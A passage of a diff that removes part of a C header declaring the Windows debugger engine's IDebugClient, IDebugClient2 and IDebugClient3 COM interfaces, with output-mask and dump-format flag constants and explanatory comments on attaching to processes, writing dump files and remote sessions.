-#define DEBUG_OUTPUT_DEBUGGEE_PROMPT 0x00000100
-// Symbol messages, such as for !sym noisy.
-#define DEBUG_OUTPUT_SYMBOLS 0x00000200
-
-// Internal debugger output, used mainly
-// for debugging the debugger. Output
-// may only occur in debug builds.
-// KD protocol output.
-#define DEBUG_IOUTPUT_KD_PROTOCOL 0x80000000
-// Remoting output.
-#define DEBUG_IOUTPUT_REMOTING 0x40000000
-// Breakpoint output.
-#define DEBUG_IOUTPUT_BREAKPOINT 0x20000000
-// Event output.
-#define DEBUG_IOUTPUT_EVENT 0x10000000
-// Virtual/Physical address translation
-#define DEBUG_IOUTPUT_ADDR_TRANSLATE 0x08000000
-
-// OutputIdentity flags.
-#define DEBUG_OUTPUT_IDENTITY_DEFAULT 0x00000000
-
-#undef INTERFACE
-#define INTERFACE IDebugClient
-DECLARE_INTERFACE_(IDebugClient, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugClient.
-
- // The following set of methods start
- // the different kinds of debuggees.
-
- // Begins a debug session using the kernel
- // debugging protocol. This method selects
- // the protocol as the debuggee communication
- // mechanism but does not initiate the communication
- // itself.
- STDMETHOD(AttachKernel)(
- THIS_
- __in ULONG Flags,
- __in_opt PCSTR ConnectOptions
- ) PURE;
- STDMETHOD(GetKernelConnectionOptions)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG OptionsSize
- ) PURE;
- // Updates the connection options for a live
- // kernel connection. This can only be used
- // to modify parameters for the connection, not
- // to switch to a completely different kind of
- // connection.
- // This method is reentrant.
- STDMETHOD(SetKernelConnectionOptions)(
- THIS_
- __in PCSTR Options
- ) PURE;
-
- // Starts a process server for remote
- // user-mode process control.
- // The local process server is server zero.
- STDMETHOD(StartProcessServer)(
- THIS_
- __in ULONG Flags,
- __in PCSTR Options,
- __in_opt __reserved PVOID Reserved
- ) PURE;
- STDMETHOD(ConnectProcessServer)(
- THIS_
- __in PCSTR RemoteOptions,
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(DisconnectProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
-
- // Enumerates and describes processes
- // accessible through the given process server.
- STDMETHOD(GetRunningProcessSystemIds)(
- THIS_
- __in ULONG64 Server,
- __out_ecount_opt(Count) PULONG Ids,
- __in ULONG Count,
- __out_opt PULONG ActualCount
- ) PURE;
- STDMETHOD(GetRunningProcessSystemIdByExecutableName)(
- THIS_
- __in ULONG64 Server,
- __in PCSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescription)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- // Attaches to a running user-mode process.
- STDMETHOD(AttachProcess)(
- THIS_
- __in ULONG64 Server,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Creates a new user-mode process for debugging.
- // CreateFlags are as given to Win32s CreateProcess.
- // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS
- // must be specified.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 Server,
- __in PSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- // Creates or attaches to a user-mode process, or both.
- // If CommandLine is NULL this method operates as
- // AttachProcess does. If ProcessId is zero it
- // operates as CreateProcess does. If CommandLine is
- // non-NULL and ProcessId is non-zero the method first
- // starts a process with the given information but
- // in a suspended state. The engine then attaches to
- // the indicated process. Once the attach is successful
- // the suspended process is resumed. This provides
- // synchronization between the new process and the
- // attachment.
- STDMETHOD(CreateProcessAndAttach)(
- THIS_
- __in ULONG64 Server,
- __in_opt PSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Gets and sets process control flags.
- STDMETHOD(GetProcessOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Opens any kind of user- or kernel-mode dump file
- // and begins a debug session with the information
- // contained within it.
- STDMETHOD(OpenDumpFile)(
- THIS_
- __in PCSTR DumpFile
- ) PURE;
- // Writes a dump file from the current session information.
- // The kind of dump file written is determined by the
- // kind of session and the type qualifier given.
- // For example, if the current session is a kernel
- // debug session (DEBUG_CLASS_KERNEL) and the qualifier
- // is DEBUG_DUMP_SMALL a small kernel dump will be written.
- STDMETHOD(WriteDumpFile)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier
- ) PURE;
-
- // Indicates that a remote client is ready to
- // begin participating in the current session.
- // HistoryLimit gives a character limit on
- // the amount of output history to be sent.
- STDMETHOD(ConnectSession)(
- THIS_
- __in ULONG Flags,
- __in ULONG HistoryLimit
- ) PURE;
- // Indicates that the engine should start accepting
- // remote connections. Options specifies connection types
- // and their parameters. Supported strings are:
- // npipe:Pipe=
- // tcp:Port=
- STDMETHOD(StartServer)(
- THIS_
- __in PCSTR Options
- ) PURE;
- // List the servers running on the given machine.
- // Uses the line prefix.
- STDMETHOD(OutputServers)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Machine,
- __in ULONG Flags
- ) PURE;
-
- // Attempts to terminate all processes in the debuggers list.
- STDMETHOD(TerminateProcesses)(
- THIS
- ) PURE;
- // Attempts to detach from all processes in the debuggers list.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachProcesses)(
- THIS
- ) PURE;
- // Stops the current debug session. If a process
- // was created or attached an active EndSession can
- // terminate or detach from it.
- // If a kernel connection was opened it will be closed but the
- // target machine is otherwise unaffected.
- STDMETHOD(EndSession)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // If a process was started and ran to completion
- // this method can be used to retrieve its exit code.
- STDMETHOD(GetExitCode)(
- THIS_
- __out PULONG Code
- ) PURE;
-
- // Client event callbacks are called on the thread
- // of the client. In order to give thread
- // execution to the engine for callbacks all
- // client threads should call DispatchCallbacks
- // when they are idle. Callbacks are only
- // received when a thread calls DispatchCallbacks
- // or WaitForEvent. WaitForEvent can only be
- // called by the thread that started the debug
- // session so all other client threads should
- // call DispatchCallbacks when possible.
- // DispatchCallbacks returns when ExitDispatch is used
- // to interrupt dispatch or when the timeout expires.
- // DispatchCallbacks dispatches callbacks for all
- // clients associated with the thread calling
- // DispatchCallbacks.
- // DispatchCallbacks returns S_FALSE when the
- // timeout expires.
- STDMETHOD(DispatchCallbacks)(
- THIS_
- __in ULONG Timeout
- ) PURE;
- // ExitDispatch can be used to interrupt callback
- // dispatch when a client thread is needed by the
- // client. This method is reentrant and can
- // be called from any thread.
- STDMETHOD(ExitDispatch)(
- THIS_
- __in PDEBUG_CLIENT Client
- ) PURE;
-
- // Clients are specific to the thread that
- // created them. Calls from other threads
- // fail immediately. The CreateClient method
- // is a notable exception; it allows creation
- // of a new client for a new thread.
- STDMETHOD(CreateClient)(
- THIS_
- __out PDEBUG_CLIENT* Client
- ) PURE;
-
- STDMETHOD(GetInputCallbacks)(
- THIS_
- __out PDEBUG_INPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetInputCallbacks)(
- THIS_
- __in_opt PDEBUG_INPUT_CALLBACKS Callbacks
- ) PURE;
-
- // Output callback interfaces are described separately.
- STDMETHOD(GetOutputCallbacks)(
- THIS_
- __out PDEBUG_OUTPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetOutputCallbacks)(
- THIS_
- __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks
- ) PURE;
- // Output flags provide control over
- // the distribution of output among clients.
- // Output masks select which output streams
- // should be sent to the output callbacks.
- // Only Output calls with a mask that
- // contains one of the output mask bits
- // will be sent to the output callbacks.
- // These methods are reentrant.
- // If such access is not synchronized
- // disruptions in output may occur.
- STDMETHOD(GetOutputMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOutputMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
- // These methods allow access to another clients
- // output mask. They are necessary for changing
- // a clients output mask when it is
- // waiting for events. These methods are reentrant
- // and can be called from any thread.
- STDMETHOD(GetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __in ULONG Mask
- ) PURE;
- // Control the width of an output line for
- // commands which produce formatted output.
- // This setting is just a suggestion.
- STDMETHOD(GetOutputWidth)(
- THIS_
- __out PULONG Columns
- ) PURE;
- STDMETHOD(SetOutputWidth)(
- THIS_
- __in ULONG Columns
- ) PURE;
- // Some of the engines output commands produce
- // multiple lines of output. A prefix can be
- // set that the engine will automatically output
- // for each line in that case, allowing a caller
- // to control indentation or identifying marks.
- // This is not a general setting for any output
- // with a newline in it. Methods which use
- // the line prefix are marked in their documentation.
- STDMETHOD(GetOutputLinePrefix)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PrefixSize
- ) PURE;
- STDMETHOD(SetOutputLinePrefix)(
- THIS_
- __in_opt PCSTR Prefix
- ) PURE;
-
- // Returns a string describing the machine
- // and user this client represents. The
- // specific content of the string varies
- // with operating system. If the client is
- // remotely connected some network information
- // may also be present.
- STDMETHOD(GetIdentity)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG IdentitySize
- ) PURE;
- // Format is a printf-like format string
- // with one %s where the identity string should go.
- STDMETHOD(OutputIdentity)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in PCSTR Format
- ) PURE;
-
- // Event callbacks allow a client to
- // receive notification about changes
- // during the debug session.
- STDMETHOD(GetEventCallbacks)(
- THIS_
- __out PDEBUG_EVENT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetEventCallbacks)(
- THIS_
- __in_opt PDEBUG_EVENT_CALLBACKS Callbacks
- ) PURE;
-
- // The engine sometimes merges compatible callback
- // requests to reduce callback overhead. This is
- // most noticeable with output as small pieces of
- // output are collected into larger groups to
- // reduce the overall number of output callback calls.
- // A client can use this method to force all pending
- // callbacks to be delivered. This is rarely necessary.
- STDMETHOD(FlushCallbacks)(
- THIS
- ) PURE;
-};
-
-// Per-dump-format control flags.
-#define DEBUG_FORMAT_DEFAULT 0x00000000
-// When creating a CAB with secondary images do searches
-// for all image files, regardless of whether they're
-// needed for the current session or not.
-#define DEBUG_FORMAT_CAB_SECONDARY_ALL_IMAGES 0x10000000
-// Write dump to a temporary file, then package it
-// into a CAB file and delete the temporary file.
-#define DEBUG_FORMAT_WRITE_CAB 0x20000000
-// When creating a CAB add secondary files such as
-// current symbols and mapped images.
-#define DEBUG_FORMAT_CAB_SECONDARY_FILES 0x40000000
-// Don't overwrite existing files.
-#define DEBUG_FORMAT_NO_OVERWRITE 0x80000000
-
-#define DEBUG_FORMAT_USER_SMALL_FULL_MEMORY 0x00000001
-#define DEBUG_FORMAT_USER_SMALL_HANDLE_DATA 0x00000002
-#define DEBUG_FORMAT_USER_SMALL_UNLOADED_MODULES 0x00000004
-#define DEBUG_FORMAT_USER_SMALL_INDIRECT_MEMORY 0x00000008
-#define DEBUG_FORMAT_USER_SMALL_DATA_SEGMENTS 0x00000010
-#define DEBUG_FORMAT_USER_SMALL_FILTER_MEMORY 0x00000020
-#define DEBUG_FORMAT_USER_SMALL_FILTER_PATHS 0x00000040
-#define DEBUG_FORMAT_USER_SMALL_PROCESS_THREAD_DATA 0x00000080
-#define DEBUG_FORMAT_USER_SMALL_PRIVATE_READ_WRITE_MEMORY 0x00000100
-#define DEBUG_FORMAT_USER_SMALL_NO_OPTIONAL_DATA 0x00000200
-#define DEBUG_FORMAT_USER_SMALL_FULL_MEMORY_INFO 0x00000400
-#define DEBUG_FORMAT_USER_SMALL_THREAD_INFO 0x00000800
-#define DEBUG_FORMAT_USER_SMALL_CODE_SEGMENTS 0x00001000
-#define DEBUG_FORMAT_USER_SMALL_NO_AUXILIARY_STATE 0x00002000
-#define DEBUG_FORMAT_USER_SMALL_FULL_AUXILIARY_STATE 0x00004000
-#define DEBUG_FORMAT_USER_SMALL_IGNORE_INACCESSIBLE_MEM 0x08000000
-
-//
-// Dump information file types.
-//
-
-// Base dump file, returned when querying for dump files.
-#define DEBUG_DUMP_FILE_BASE 0xffffffff
-// Single file containing packed page file information.
-#define DEBUG_DUMP_FILE_PAGE_FILE_DUMP 0x00000000
-
-#undef INTERFACE
-#define INTERFACE IDebugClient2
-DECLARE_INTERFACE_(IDebugClient2, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugClient.
-
- // The following set of methods start
- // the different kinds of debuggees.
-
- // Begins a debug session using the kernel
- // debugging protocol. This method selects
- // the protocol as the debuggee communication
- // mechanism but does not initiate the communication
- // itself.
- STDMETHOD(AttachKernel)(
- THIS_
- __in ULONG Flags,
- __in_opt PCSTR ConnectOptions
- ) PURE;
- STDMETHOD(GetKernelConnectionOptions)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG OptionsSize
- ) PURE;
- // Updates the connection options for a live
- // kernel connection. This can only be used
- // to modify parameters for the connection, not
- // to switch to a completely different kind of
- // connection.
- // This method is reentrant.
- STDMETHOD(SetKernelConnectionOptions)(
- THIS_
- __in PCSTR Options
- ) PURE;
-
- // Starts a process server for remote
- // user-mode process control.
- // The local process server is server zero.
- STDMETHOD(StartProcessServer)(
- THIS_
- __in ULONG Flags,
- __in PCSTR Options,
- __in_opt __reserved PVOID Reserved
- ) PURE;
- STDMETHOD(ConnectProcessServer)(
- THIS_
- __in PCSTR RemoteOptions,
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(DisconnectProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
-
- // Enumerates and describes processes
- // accessible through the given process server.
- STDMETHOD(GetRunningProcessSystemIds)(
- THIS_
- __in ULONG64 Server,
- __out_ecount_opt(Count) PULONG Ids,
- __in ULONG Count,
- __out_opt PULONG ActualCount
- ) PURE;
- STDMETHOD(GetRunningProcessSystemIdByExecutableName)(
- THIS_
- __in ULONG64 Server,
- __in PCSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescription)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- // Attaches to a running user-mode process.
- STDMETHOD(AttachProcess)(
- THIS_
- __in ULONG64 Server,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Creates a new user-mode process for debugging.
- // CreateFlags are as given to Win32s CreateProcess.
- // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS
- // must be specified.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 Server,
- __in PSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- // Creates or attaches to a user-mode process, or both.
- // If CommandLine is NULL this method operates as
- // AttachProcess does. If ProcessId is zero it
- // operates as CreateProcess does. If CommandLine is
- // non-NULL and ProcessId is non-zero the method first
- // starts a process with the given information but
- // in a suspended state. The engine then attaches to
- // the indicated process. Once the attach is successful
- // the suspended process is resumed. This provides
- // synchronization between the new process and the
- // attachment.
- STDMETHOD(CreateProcessAndAttach)(
- THIS_
- __in ULONG64 Server,
- __in_opt PSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Gets and sets process control flags.
- STDMETHOD(GetProcessOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Opens any kind of user- or kernel-mode dump file
- // and begins a debug session with the information
- // contained within it.
- STDMETHOD(OpenDumpFile)(
- THIS_
- __in PCSTR DumpFile
- ) PURE;
- // Writes a dump file from the current session information.
- // The kind of dump file written is determined by the
- // kind of session and the type qualifier given.
- // For example, if the current session is a kernel
- // debug session (DEBUG_CLASS_KERNEL) and the qualifier
- // is DEBUG_DUMP_SMALL a small kernel dump will be written.
- STDMETHOD(WriteDumpFile)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier
- ) PURE;
-
- // Indicates that a remote client is ready to
- // begin participating in the current session.
- // HistoryLimit gives a character limit on
- // the amount of output history to be sent.
- STDMETHOD(ConnectSession)(
- THIS_
- __in ULONG Flags,
- __in ULONG HistoryLimit
- ) PURE;
- // Indicates that the engine should start accepting
- // remote connections. Options specifies connection types
- // and their parameters. Supported strings are:
- // npipe:Pipe=
- // tcp:Port=
- STDMETHOD(StartServer)(
- THIS_
- __in PCSTR Options
- ) PURE;
- // List the servers running on the given machine.
- // Uses the line prefix.
- STDMETHOD(OutputServers)(
- THIS_
- __in ULONG OutputControl,
- __in PCSTR Machine,
- __in ULONG Flags
- ) PURE;
-
- // Attempts to terminate all processes in the debuggers list.
- STDMETHOD(TerminateProcesses)(
- THIS
- ) PURE;
- // Attempts to detach from all processes in the debuggers list.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachProcesses)(
- THIS
- ) PURE;
- // Stops the current debug session. If a process
- // was created or attached an active EndSession can
- // terminate or detach from it.
- // If a kernel connection was opened it will be closed but the
- // target machine is otherwise unaffected.
- STDMETHOD(EndSession)(
- THIS_
- __in ULONG Flags
- ) PURE;
- // If a process was started and ran to completion
- // this method can be used to retrieve its exit code.
- STDMETHOD(GetExitCode)(
- THIS_
- __out PULONG Code
- ) PURE;
-
- // Client event callbacks are called on the thread
- // of the client. In order to give thread
- // execution to the engine for callbacks all
- // client threads should call DispatchCallbacks
- // when they are idle. Callbacks are only
- // received when a thread calls DispatchCallbacks
- // or WaitForEvent. WaitForEvent can only be
- // called by the thread that started the debug
- // session so all other client threads should
- // call DispatchCallbacks when possible.
- // DispatchCallbacks returns when ExitDispatch is used
- // to interrupt dispatch or when the timeout expires.
- // DispatchCallbacks dispatches callbacks for all
- // clients associated with the thread calling
- // DispatchCallbacks.
- // DispatchCallbacks returns S_FALSE when the
- // timeout expires.
- STDMETHOD(DispatchCallbacks)(
- THIS_
- __in ULONG Timeout
- ) PURE;
- // ExitDispatch can be used to interrupt callback
- // dispatch when a client thread is needed by the
- // client. This method is reentrant and can
- // be called from any thread.
- STDMETHOD(ExitDispatch)(
- THIS_
- __in PDEBUG_CLIENT Client
- ) PURE;
-
- // Clients are specific to the thread that
- // created them. Calls from other threads
- // fail immediately. The CreateClient method
- // is a notable exception; it allows creation
- // of a new client for a new thread.
- STDMETHOD(CreateClient)(
- THIS_
- __out PDEBUG_CLIENT* Client
- ) PURE;
-
- STDMETHOD(GetInputCallbacks)(
- THIS_
- __out PDEBUG_INPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetInputCallbacks)(
- THIS_
- __in_opt PDEBUG_INPUT_CALLBACKS Callbacks
- ) PURE;
-
- // Output callback interfaces are described separately.
- STDMETHOD(GetOutputCallbacks)(
- THIS_
- __out PDEBUG_OUTPUT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetOutputCallbacks)(
- THIS_
- __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks
- ) PURE;
- // Output flags provide control over
- // the distribution of output among clients.
- // Output masks select which output streams
- // should be sent to the output callbacks.
- // Only Output calls with a mask that
- // contains one of the output mask bits
- // will be sent to the output callbacks.
- // These methods are reentrant.
- // If such access is not synchronized
- // disruptions in output may occur.
- STDMETHOD(GetOutputMask)(
- THIS_
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOutputMask)(
- THIS_
- __in ULONG Mask
- ) PURE;
- // These methods allow access to another clients
- // output mask. They are necessary for changing
- // a clients output mask when it is
- // waiting for events. These methods are reentrant
- // and can be called from any thread.
- STDMETHOD(GetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __out PULONG Mask
- ) PURE;
- STDMETHOD(SetOtherOutputMask)(
- THIS_
- __in PDEBUG_CLIENT Client,
- __in ULONG Mask
- ) PURE;
- // Control the width of an output line for
- // commands which produce formatted output.
- // This setting is just a suggestion.
- STDMETHOD(GetOutputWidth)(
- THIS_
- __out PULONG Columns
- ) PURE;
- STDMETHOD(SetOutputWidth)(
- THIS_
- __in ULONG Columns
- ) PURE;
- // Some of the engines output commands produce
- // multiple lines of output. A prefix can be
- // set that the engine will automatically output
- // for each line in that case, allowing a caller
- // to control indentation or identifying marks.
- // This is not a general setting for any output
- // with a newline in it. Methods which use
- // the line prefix are marked in their documentation.
- STDMETHOD(GetOutputLinePrefix)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG PrefixSize
- ) PURE;
- STDMETHOD(SetOutputLinePrefix)(
- THIS_
- __in_opt PCSTR Prefix
- ) PURE;
-
- // Returns a string describing the machine
- // and user this client represents. The
- // specific content of the string varies
- // with operating system. If the client is
- // remotely connected some network information
- // may also be present.
- STDMETHOD(GetIdentity)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG IdentitySize
- ) PURE;
- // Format is a printf-like format string
- // with one %s where the identity string should go.
- STDMETHOD(OutputIdentity)(
- THIS_
- __in ULONG OutputControl,
- __in ULONG Flags,
- __in PCSTR Format
- ) PURE;
-
- // Event callbacks allow a client to
- // receive notification about changes
- // during the debug session.
- STDMETHOD(GetEventCallbacks)(
- THIS_
- __out PDEBUG_EVENT_CALLBACKS* Callbacks
- ) PURE;
- STDMETHOD(SetEventCallbacks)(
- THIS_
- __in_opt PDEBUG_EVENT_CALLBACKS Callbacks
- ) PURE;
-
- // The engine sometimes merges compatible callback
- // requests to reduce callback overhead. This is
- // most noticeable with output as small pieces of
- // output are collected into larger groups to
- // reduce the overall number of output callback calls.
- // A client can use this method to force all pending
- // callbacks to be delivered. This is rarely necessary.
- STDMETHOD(FlushCallbacks)(
- THIS
- ) PURE;
-
- // IDebugClient2.
-
- // Functions similarly to WriteDumpFile with
- // the addition of the ability to specify
- // per-dump-format write control flags.
- // Comment is not supported in all formats.
- STDMETHOD(WriteDumpFile2)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier,
- __in ULONG FormatFlags,
- __in_opt PCSTR Comment
- ) PURE;
- // Registers additional files of supporting information
- // for a dump file open. This method must be called
- // before OpenDumpFile is called.
- // The files registered may be opened at the time
- // this method is called but generally will not
- // be used until OpenDumpFile is called.
- STDMETHOD(AddDumpInformationFile)(
- THIS_
- __in PCSTR InfoFile,
- __in ULONG Type
- ) PURE;
-
- // Requests that the remote process server shut down.
- STDMETHOD(EndProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
- // Waits for a started process server to
- // exit. Allows an application running a
- // process server to monitor the process
- // server so that it can tell when a remote
- // client has asked for it to exit.
- // Returns S_OK if the process server has
- // shut down and S_FALSE for a timeout.
- STDMETHOD(WaitForProcessServerEnd)(
- THIS_
- __in ULONG Timeout
- ) PURE;
-
- // Returns S_OK if the system is configured
- // to allow kernel debugging.
- STDMETHOD(IsKernelDebuggerEnabled)(
- THIS
- ) PURE;
-
- // Attempts to terminate the current process.
- // Exit process events for the process may be generated.
- STDMETHOD(TerminateCurrentProcess)(
- THIS
- ) PURE;
- // Attempts to detach from the current process.
- // This requires OS support for debugger detach.
- STDMETHOD(DetachCurrentProcess)(
- THIS
- ) PURE;
- // Removes the process from the debuggers process
- // list without making any other changes. The process
- // will still be marked as being debugged and will
- // not run. This allows a debugger to be shut down
- // and a new debugger attached without taking the
- // process out of the debugged state.
- // This is only supported on some system versions.
- STDMETHOD(AbandonCurrentProcess)(
- THIS
- ) PURE;
-};
-
-#undef INTERFACE
-#define INTERFACE IDebugClient3
-DECLARE_INTERFACE_(IDebugClient3, IUnknown)
-{
- // IUnknown.
- STDMETHOD(QueryInterface)(
- THIS_
- __in REFIID InterfaceId,
- __out PVOID* Interface
- ) PURE;
- STDMETHOD_(ULONG, AddRef)(
- THIS
- ) PURE;
- STDMETHOD_(ULONG, Release)(
- THIS
- ) PURE;
-
- // IDebugClient.
-
- // The following set of methods start
- // the different kinds of debuggees.
-
- // Begins a debug session using the kernel
- // debugging protocol. This method selects
- // the protocol as the debuggee communication
- // mechanism but does not initiate the communication
- // itself.
- STDMETHOD(AttachKernel)(
- THIS_
- __in ULONG Flags,
- __in_opt PCSTR ConnectOptions
- ) PURE;
- STDMETHOD(GetKernelConnectionOptions)(
- THIS_
- __out_ecount_opt(BufferSize) PSTR Buffer,
- __in ULONG BufferSize,
- __out_opt PULONG OptionsSize
- ) PURE;
- // Updates the connection options for a live
- // kernel connection. This can only be used
- // to modify parameters for the connection, not
- // to switch to a completely different kind of
- // connection.
- // This method is reentrant.
- STDMETHOD(SetKernelConnectionOptions)(
- THIS_
- __in PCSTR Options
- ) PURE;
-
- // Starts a process server for remote
- // user-mode process control.
- // The local process server is server zero.
- STDMETHOD(StartProcessServer)(
- THIS_
- __in ULONG Flags,
- __in PCSTR Options,
- __in_opt __reserved PVOID Reserved
- ) PURE;
- STDMETHOD(ConnectProcessServer)(
- THIS_
- __in PCSTR RemoteOptions,
- __out PULONG64 Server
- ) PURE;
- STDMETHOD(DisconnectProcessServer)(
- THIS_
- __in ULONG64 Server
- ) PURE;
-
- // Enumerates and describes processes
- // accessible through the given process server.
- STDMETHOD(GetRunningProcessSystemIds)(
- THIS_
- __in ULONG64 Server,
- __out_ecount_opt(Count) PULONG Ids,
- __in ULONG Count,
- __out_opt PULONG ActualCount
- ) PURE;
- STDMETHOD(GetRunningProcessSystemIdByExecutableName)(
- THIS_
- __in ULONG64 Server,
- __in PCSTR ExeName,
- __in ULONG Flags,
- __out PULONG Id
- ) PURE;
- STDMETHOD(GetRunningProcessDescription)(
- THIS_
- __in ULONG64 Server,
- __in ULONG SystemId,
- __in ULONG Flags,
- __out_ecount_opt(ExeNameSize) PSTR ExeName,
- __in ULONG ExeNameSize,
- __out_opt PULONG ActualExeNameSize,
- __out_ecount_opt(DescriptionSize) PSTR Description,
- __in ULONG DescriptionSize,
- __out_opt PULONG ActualDescriptionSize
- ) PURE;
-
- // Attaches to a running user-mode process.
- STDMETHOD(AttachProcess)(
- THIS_
- __in ULONG64 Server,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Creates a new user-mode process for debugging.
- // CreateFlags are as given to Win32s CreateProcess.
- // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS
- // must be specified.
- STDMETHOD(CreateProcess)(
- THIS_
- __in ULONG64 Server,
- __in PSTR CommandLine,
- __in ULONG CreateFlags
- ) PURE;
- // Creates or attaches to a user-mode process, or both.
- // If CommandLine is NULL this method operates as
- // AttachProcess does. If ProcessId is zero it
- // operates as CreateProcess does. If CommandLine is
- // non-NULL and ProcessId is non-zero the method first
- // starts a process with the given information but
- // in a suspended state. The engine then attaches to
- // the indicated process. Once the attach is successful
- // the suspended process is resumed. This provides
- // synchronization between the new process and the
- // attachment.
- STDMETHOD(CreateProcessAndAttach)(
- THIS_
- __in ULONG64 Server,
- __in_opt PSTR CommandLine,
- __in ULONG CreateFlags,
- __in ULONG ProcessId,
- __in ULONG AttachFlags
- ) PURE;
- // Gets and sets process control flags.
- STDMETHOD(GetProcessOptions)(
- THIS_
- __out PULONG Options
- ) PURE;
- STDMETHOD(AddProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(RemoveProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
- STDMETHOD(SetProcessOptions)(
- THIS_
- __in ULONG Options
- ) PURE;
-
- // Opens any kind of user- or kernel-mode dump file
- // and begins a debug session with the information
- // contained within it.
- STDMETHOD(OpenDumpFile)(
- THIS_
- __in PCSTR DumpFile
- ) PURE;
- // Writes a dump file from the current session information.
- // The kind of dump file written is determined by the
- // kind of session and the type qualifier given.
- // For example, if the current session is a kernel
- // debug session (DEBUG_CLASS_KERNEL) and the qualifier
- // is DEBUG_DUMP_SMALL a small kernel dump will be written.
- STDMETHOD(WriteDumpFile)(
- THIS_
- __in PCSTR DumpFile,
- __in ULONG Qualifier
- ) PURE;
-
- // Indicates that a remote client is ready to
- // begin participating in the current session.
- // HistoryLimit gives a character limit on
- // the amount of output history to be sent.
- STDMETHOD(ConnectSession)(
